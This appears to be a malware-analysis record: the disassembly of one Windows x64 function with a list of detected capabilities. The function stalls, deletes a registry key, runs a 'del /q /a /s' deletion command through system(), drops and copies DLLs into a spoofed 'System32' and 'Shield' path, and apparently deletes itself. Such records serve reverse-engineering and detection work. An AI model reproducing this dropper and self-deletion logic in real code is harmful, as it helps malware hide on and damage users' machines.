Function at 0x140001464
Capabilities:
Copy file
Create directory
Delete registry key
Execute command
Get common file path
Get program files directory
Query or enumerate registry value
Self delete
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xbb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xba0], rax
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x150]
xor edx, edx
mov r8d, 0x100
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x691]
xor edi, edi
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x690], dil
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x580]
lea rbx, [0x140000000]
mov rax, qword [rbx + 0x3400]
lea rcx, [rsp + 0x59a]
xor edx, edx
mov qword [r11], rax
mov rax, qword [rbx + 0x3408]
mov r8d, 0xea
mov qword [r11 + 8], rax
mov rax, qword [rbx + 0x3410]
mov qword [r11 + 0x10], rax
movzx eax, word [rbx + 0x3418]
mov word [r11 + 0x18], ax
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x38]
mov rbp, 0xffffffff80000002
lea rdx, [rsp + 0x580]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea esi, [rdi + 1]
test eax, eax
jne 0x14000159e
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x690]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x100
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor edx, edx
mov al, byte [rsp + rdx + 0x690]
mov byte [rsp + rdx + 0x150], al
add rdx, rsi
test al, al
jne 0x140001587
mov edi, esi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400015ae
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x580]
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
test edi, edi
je 0x140001ac3
xor eax, eax
or rbp, 0xffffffffffffffff
lea rdi, [rsp + 0x150]
mov rcx, rbp
repne scasb al, byte [rdi]
mov rax, qword [str.System32]
lea rcx, [rsp + 0x150]
sub rdi, rsi
mov qword [rdi], rax
movzx eax, word [0x140003430]
mov word [rdi + 8], ax
call qword [sym.imp.MSVCR90.dll__mkdir]
lea rcx, [rsp + 0x890]
xor edx, edx
mov r8d, 0x100
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x150]
lea rdx, str.del__q__a__s.
lea rcx, [rsp + 0x890]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rcx, [rsp + 0x890]
call qword [sym.imp.MSVCR90.dll_system]
mov rax, qword [rbx + 0x3450]
lea rdx, [rsp + 0x250]
mov qword [rdx], rax
mov rax, qword [rbx + 0x3458]
lea rcx, [rsp + 0x26d]
mov qword [rdx + 8], rax
mov rax, qword [rbx + 0x3460]
mov r8d, 0xe7
mov qword [rdx + 0x10], rax
mov eax, dword [rbx + 0x3468]
mov dword [rdx + 0x18], eax
mov al, byte [rbx + 0x346c]
mov byte [rdx + 0x1c], al
xor edx, edx
call sub.MSVCR90.dll_memset
lea rdi, [0x140003470]
lea r9, str.ShdApi.dll
lea r8, [rsp + 0x250]
lea rcx, [rsp + 0x470]
mov rdx, rdi
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rbx, [0x140003478]
lea r9, str.ShdApi.dll
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.140001308
test eax, eax
je 0x140001ac3
lea r9, str.ShdPub.dll
lea r8, [rsp + 0x250]
lea rcx, [rsp + 0x470]
mov rdx, rdi
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.ShdPub.dll
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.140001308
test eax, eax
je 0x140001ac3
lea r9, str.ShdUI.dll
lea r8, [rsp + 0x250]
lea rcx, [rsp + 0x470]
mov rdx, rdi
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.ShdUI.dll
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.140001308
test eax, eax
je 0x140001ac3
lea r9, str.Setup64.exe
lea r8, [rsp + 0x250]
lea rcx, [rsp + 0x470]
mov rdx, rdi
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.Setup64.exe
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.140001308
test eax, eax
je 0x140001ac3
xor ecx, ecx
mov al, byte [rsp + rcx + 0x40]
mov byte [rsp + rcx + 0xa90], al
add rcx, rsi
test al, al
jne 0x1400017fb
lea rcx, [rsp + 0x361]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x360], al
call sub.MSVCR90.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x360]
lea r8d, [r9 + 0x26]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
lea rdi, [rsp + 0x360]
mov rcx, rbp
lea r9, str.mfc90.dll
lea r8, [rsp + 0x360]
repne scasb al, byte [rdi]
mov rax, qword [str.Shield]
lea rcx, [rsp + 0x250]
sub rdi, rsi
mov rdx, rbx
mov qword [rdi], rax
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.mfc90.dll
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x250]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140001ac3
lea r9, str.mfc90u.dll
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x250]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.mfc90u.dll
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x250]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140001ac3
lea r9, str.Microsoft.VC90.CRT.manifest
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x250]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.Microsoft.VC90.CRT.manifest
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x250]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140001ac3
lea r9, str.Microsoft.VC90.MFC.manifest
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x250]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, str.Microsoft.VC90.MFC.manifest
lea r8, [rsp + 0x150]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x250]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140001ac3
xor ecx, ecx
call qword [sym.imp.MSVCR90.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR90.dll_srand]
mov edi, 4
call qword [sym.imp.MSVCR90.dll_rand]
sub rdi, rsi
jne 0x1400019de
call qword [sym.imp.MSVCR90.dll_rand]
mov ebx, eax
imul ebx, ebx, 0x1c
call qword [sym.imp.MSVCR90.dll_rand]
add ebx, eax
mov eax, 0x431bde83
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xf4240
imul edx, edx, 0xf4240
sub ebx, edx
cmp ebx, eax
jl 0x140001a20
sub ebx, eax
cmp ebx, 0x186a0
jge 0x140001a35
call qword [sym.imp.MSVCR90.dll_rand]
lea ebx, [rbx + rax + 0x186a0]
lea rdx, str._ld.txt
lea rcx, [rsp + 0x990]
mov r8d, ebx
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x990]
lea r8, [rsp + 0x150]
lea rdx, str._s_s
lea rcx, [rsp + 0x790]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [0x14000349c]
lea rcx, [rsp + 0x790]
call qword [sym.imp.MSVCR90.dll_fopen]
lea rcx, [0x1400034a0]
mov r8, rsi
mov r9, rax
mov rdx, rsi
mov rdi, rax
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_fclose]
lea rcx, [rsp + 0x790]
call section..text
lea rcx, [rsp + 0xa90]
call fcn.1400013b8
call fcn.1400010e8
xor eax, eax
mov rcx, qword [rsp + 0xba0]
xor rcx, rsp
call fcn.140001b10
lea r11, [rsp + 0xbb0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret